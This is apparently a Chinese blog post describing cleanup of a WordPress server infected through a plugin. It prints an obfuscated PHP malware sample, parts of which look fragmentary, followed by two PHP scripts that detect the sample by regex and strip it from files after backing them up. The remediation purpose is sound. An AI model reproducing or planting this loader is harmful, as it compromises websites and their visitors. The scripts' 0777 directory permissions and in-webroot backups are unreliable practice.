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PHP实现清除wordpress里恶意代码

时间 : 2015-10-25 15:39

作者 : 素材控

 查看 : ( 2470 )  评论 : ( 0 )

摘要 : 公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。 恶意代码示例 代码 代码如下: 代码 代码如下: ?php if(!isset($GLOBALS)) { $ua ...

公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。

恶意代码示例

代码 代码如下:

代码 代码如下:

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $bssaiikhvn = '61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y3x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x6x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x78!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x5c%x7825ggg!>!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7x7827jsv%x5c%x78256<C>^#zsfvrx5c%x7827&6<%x5c%x787fw6*%x5c%x78825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>5b:<!%x5c%x7825c:>%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutMSVD!-id%x5c%x7825)uqpI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,x7822:ftmbg39*56A:>:8:|:7#6ufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvuc%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R3#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]139]271]y83]256]y78]248]y83]7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%27pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x, NULL); }ovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cI#64y]552]e7y]#>n%x5c%x7825<#3722!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function 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&& (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBAL7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5g!)%x5c%x7825z>>2*!%x5c%x7825z>3<!f825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x3]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73"66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6x7824<%x5c%x7825j,,*!|%x5c%x7824c%x7822)7gj6<*QDU%x5c%%x785c%x5c%x7825j:^<!%x5c%x7825w%jfgg($n){return chr(ord($n)-1);} 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$wzmdmzzyol = explode(chr((176-132)),'7239,44,5287,69,1871,39,5903,37,1727,36,2772,60,2055,59,48,57,9678,48,9945,68,3362,48,2527,64,5005,39,3740,40,1289,53,2884,49,5753,63,6161,62,3898,52,7746,48,1132,62,7619,64,4407,30,4922,29,5848,22,105,65,3106,69,6337,30,6099,62,9351,27,5113,49,3552,22,470,29,3971,58,8590,38,9601,42,6586,65,9237,70,7433,37,2667,30,4752,55,7353,42,4098,40,815,38,9529,48,2933,31,2337,56,499,33,6523,63,6651,46,3950,21,4310,40,793,22,3837,61,3175,61,9888,57,4664,50,880,68,9307,44,3410,55,5517,43,4621,43,8371,61,4270,40,755,38,8045,37,1679,48,532,63,8217,62,3640,51,2223,25,3780,57,2160,37,5227,60,9577,24,4865,57,1910,29,8923,48,2503,24,1601,31,335,58,6420,24,3236,35,2591,51,3465,64,9047,55,7470,64,8279,51,9858,30,7891,69,6967,57,3529,23,8689,40,7960,33,2964,23,2987,46,5634,56,6267,70,8545,45,3302,60,8870,53,4201,43,3574,66,853,27,1071,61,225,56,4138,63,2832,52,4537,29,6470,23,8432,46,6055,44,1632,47,6921,46,2308,29,1030,41,8162,30,7993,52,7192,47,2114,46,2393,67,7024,30,4437,41,9017,30,9171,66,4951,54,6493,30,5988,67,8192,25,9378,52,717,38,8141,21,8628,61,6754,48,2197,26,7395,38,5356,58,595,22,1546,29,2007,48,1447,31,4566,55,2460,43,6223,44,1352,42,8799,23,948,50,4714,38,1478,68,3073,33,1575,26,4509,28,2724,48,9484,45,998,32,5591,43,10037,69,5816,32,7534,29,6444,26,5162,65,7683,63,4478,31,8082,59,170,55,7836,55,4843,22,8330,41,1394,53,3691,49,6367,53,4350,57,9643,35,2697,27,8822,48,1835,36,1221,68,8478,67,9816,42,6802,28,5560,31,3271,31,5414,68,4029,30,281,54,418,52,7076,55,5940,48,2248,60,4244,26,4059,39,9726,39,7054,22,8759,40,6870,51,1939,68,9430,54,7563,56,6697,57,3033,40,8971,46,7794,42,9102,69,683,34,5870,33,8729,30,617,66,7131,39,5482,35,9765,51,5044,69,4807,36,2642,25,7283,70,6830,40,393,25,1806,29,7170,22,1763,43,1194,27,10013,24,0,48,5690,63,1342,10'); $yhjbllsvwt=substr($bssaiikhvn,(33905-23799),(41-34)); if (!function_exists('bggbbjvwgq')) { function bggbbjvwgq($vawbzzfouj, $wiijrfgknq) { $goicwhrdcc = NULL; for($ipzagsxozk=0;$ipzagsxozk<(sizeof($vawbzzfouj)/2);$ipzagsxozk++) { $goicwhrdcc .= substr($wiijrfgknq, $vawbzzfouj[($ipzagsxozk*2)],$vawbzzfouj[($ipzagsxozk*2)+1]); } return $goicwhrdcc; };} $urvbwkljhb="\x20\57\x2a\40\x67\150\x6a\145\x73\165\x77\166\x7a\146\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\67\x35\55\x31\63\x38\51\x29\54\x20\143\x68\162\x28\50\x35\67\x32\55\x34\70\x30\51\x29\54\x20\142\x67\147\x62\142\x6a\166\x77\147\x71\50\x24\167\x7a\155\x64\155\x7a\172\x79\157\x6c\54\x24\142\x73\163\x61\151\x69\153\x68\166\x6e\51\x29\51\x3b\40\x2f\52\x20\153\x6d\151\x73\166\x7a\161\x63\153\x68\40\x2a\57\x20"; $jtgibaqypx=substr($bssaiikhvn,(45338-35225),(40-28)); $jtgibaqypx($yhjbllsvwt, $urvbwkljhb, NULL); $jtgibaqypx=$urvbwkljhb; $jtgibaqypx=(775-654); $bssaiikhvn=$jtgibaqypx-1; ?>

恶意代码清理程序

<?php 
/**
 * 文件名:delUnwantedCode.php
 * 功能:删除FTP里恶意代码
 * 使用说明:
 *   请将文件上传到需要清除恶意代码的目录,然后通过CLI或浏览器访问即可,原有被感染的文件会自动备份
 */

$path = dirname(__FILE__); #定义需要处理的目录
$bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php');  #定义源文件备份目录,程序过滤恶意代码前,先按原有的路径备份文档到此目录
$fileType = array('php');  #定义需要处理的文件类型(后缀名),小写
$search = array('@<\?php\s*if\(\!isset\(\$GLOBALS\["\\\x61\\\156\\\x75\\\156\\\x61"\]\)\).*\$bssaiikhvn=\$jtgibaqypx-1;\s*\?>@si');  #定义需要过滤的恶意代码规则
$search_count = array(
  'all_file'=>array(), #所有文件
  'search_file0'=>array(),   #没有恶意代码文件
  'search_file1'=>array() #含有恶意代码文件
);

$filelist = listDir($path,$fileType,false); #读取目录里符合条件文件列表
if(!empty($filelist)){
  foreach ($filelist as $file){
    $file = (isset($file['name'])?$file['name']:$file);
    $search_count['all_file'][] = $file;
    $fileContent = file_get_contents($file);
    $compile_fileContent = preg_replace($search, '', $fileContent);
    if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
      #过滤后文件长度不一致,则表示含有恶意代码(备份文件所在目录不过滤)
      $search_count['search_file1'][] = $file;
       
      ############备份原有文件 开始###############
      $bakFile = str_replace($path, $bak_path, $file);
      @make_dir(dirname($bakFile));
      @file_put_contents($bakFile, $fileContent);
      ############备份原有文件 结束###############
       
      #重新写入过滤后的内容到原有的PHP文件
      @file_put_contents($file, $compile_fileContent);
    }else{
      $search_count['search_file0'][] = $file;
    }
  }
}
 
#print_r($search_count);die;
echo sprintf('从%s里共搜索到%s个符合条件的文件,其中%s个存在恶意代码,已处理结束',$path,count($search_count['all_file']), count($search_count['search_file1']));die;

########################
## 辅助函数
########################
 
/**
 * 检查目标文件夹是否存在,如果不存在则自动创建该目录
 *
 * @access   public
 * @param    string   folder   目录路径。不能使用相对于网站根目录的URL
 *
 * @return   bool
 */
function make_dir($folder){
  $reval = false;
  if (!file_exists($folder)){
    #如果目录不存在则尝试创建该目录
    @umask(0);
 
    #将目录路径拆分成数组
    preg_match_all('/([^\/]*)\/?/i', $folder, $atmp);
 
    #如果第一个字符为/则当作物理路径处理
    $base = ($atmp[0][0] == '/') ? '/' : '';
 
    #遍历包含路径信息的数组
    foreach ($atmp[1] AS $val){
      if ('' != $val){
        $base .= $val;
        if ('..' == $val || '.' == $val){
          #如果目录为.或者..则直接补/继续下一个循环
          $base .= '/';
          continue;
        }
      }else{
        continue;
      }
 
      $base .= '/';
 
      if (!file_exists($base)){
        #尝试创建目录,如果创建失败则继续循环
        if (@mkdir(rtrim($base, '/'), 0777)){
          @chmod($base, 0777);
          $reval = true;
        }
      }
    }
  }else{
    #路径已经存在。返回该路径是不是一个目录
    $reval = is_dir($folder);
  }
 
  clearstatcache();
 
  return $reval;
}

########获取目录下所有文件,包括子目录 开始################
function listDir($path,$fileType=array(),$fileInfo=true){
  $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $path);
  if(!file_exists($path)||!is_dir($path)){
    return '';
  }
  if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
    $path = substr($path, 0,-1);
  }
  $dirList=array();
  $dir=opendir($path);
  while($file=readdir($dir)){
    #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过
    if($file!=='.'&&$file!=='..'){
      $file = $path.DIRECTORY_SEPARATOR.$file;
      if(is_dir($file)){
        if(empty($fileType)){
          $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file))):$file);
        }
        $dirList = array_merge($dirList,listDir($file,$fileType));
      }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
        $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($file)):$file);
      }
    };
  };
  closedir($dir);
  return $dirList;
}
########获取目录下所有文件,包括子目录 结束################

删除FTP里恶意代码(支持任意数量的文件处理)

<?php 
/**
 * 文件名:delAllUnwantedCode.php
 * 功能:删除FTP里恶意代码(支持任意数量的文件处理)
 * 使用说明:
 *   请将文件上传到需要清除恶意代码的目录,然后通过CLI或浏览器访问即可,原有被感染的文件会自动备份
 */
set_time_limit(0);ignore_user_abort(true);

$path = dirname(__FILE__); #定义需要处理的目录
$bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php');  #定义源文件备份目录,程序过滤恶意代码前,先按原有的路径备份文档到此目录
$fileType = array('php');  #定义需要处理的文件类型(后缀名),小写
$search = array('@<\?php\s*if\(\!isset\(\$GLOBALS\["\\\x61\\\156\\\x75\\\156\\\x61"\]\)\).*\$bssaiikhvn=\$jtgibaqypx-1;\s*\?>@si');  #定义需要过滤的恶意代码规则
$file_count = array(
  'all_file'=>0,  #所有文件
  'filter_file'=>0   #含有恶意代码文件
);

replaceUnwantedCode($path); #执行过滤

#print_r($search_count);die;
echo sprintf('从%s里共搜索到%s个符合条件的文件,其中%s个存在恶意代码已清理,原始文件保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;

function replaceUnwantedCode($path){
  global $bak_path,$fileType,$search,$file_count;
  $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $path);
  if(!file_exists($path)||!is_dir($path)){
    return '';
  }
  if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
    $path = substr($path, 0,-1);
  }
  $dir=opendir($path);
  while($file=readdir($dir)){
    #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过
    if($file!=='.'&&$file!=='..'){
      $file = $path.DIRECTORY_SEPARATOR.$file;
      if(is_dir($file)){
        replaceUnwantedCode($file);
      }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
        ################################
        @$file_count['all_file']++;
        $fileContent = file_get_contents($file);  #文件原始代码
        $compile_fileContent = preg_replace($search, '', $fileContent); #过滤后的内容
        if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
          #过滤后文件长度不一致,则表示含有恶意代码(备份文件所在目录不过滤)
          $file_count['filter_file']++;
             
          ############备份原有文件 开始###############
          $bakFile = str_replace($path, $bak_path, $file);
          @make_dir(dirname($bakFile));
          @file_put_contents($bakFile, $fileContent);
          ############备份原有文件 结束###############
             
          #重新写入过滤后的内容到原有的PHP文件
          @file_put_contents($file, $compile_fileContent);
        }
        ################################
        unset($fileContent,$compile_fileContent);
      }
    };
  };
  closedir($dir);
  return true;
}

########################
## 辅助函数
########################
 
/**
 * 检查目标文件夹是否存在,如果不存在则自动创建该目录
 *
 * @access   public
 * @param    string   folder   目录路径。不能使用相对于网站根目录的URL
 *
 * @return   bool
 */
function make_dir($folder){
  $reval = false;
  if (!file_exists($folder)){
    #如果目录不存在则尝试创建该目录
    @umask(0);
 
    #将目录路径拆分成数组
    preg_match_all('/([^\/]*)\/?/i', $folder, $atmp);
 
    #如果第一个字符为/则当作物理路径处理
    $base = ($atmp[0][0] == '/') ? '/' : '';
 
    #遍历包含路径信息的数组
    foreach ($atmp[1] AS $val){
      if ('' != $val){
        $base .= $val;
        if ('..' == $val || '.' == $val){
          #如果目录为.或者..则直接补/继续下一个循环
          $base .= '/';
          continue;
        }
      }else{
        continue;
      }
 
      $base .= '/';
 
      if (!file_exists($base)){
        #尝试创建目录,如果创建失败则继续循环
        if (@mkdir(rtrim($base, '/'), 0777)){
          @chmod($base, 0777);
          $reval = true;
        }
      }
    }
  }else{
    #路径已经存在。返回该路径是不是一个目录
    $reval = is_dir($folder);
  }
 
  clearstatcache();
 
  return $reval;
}
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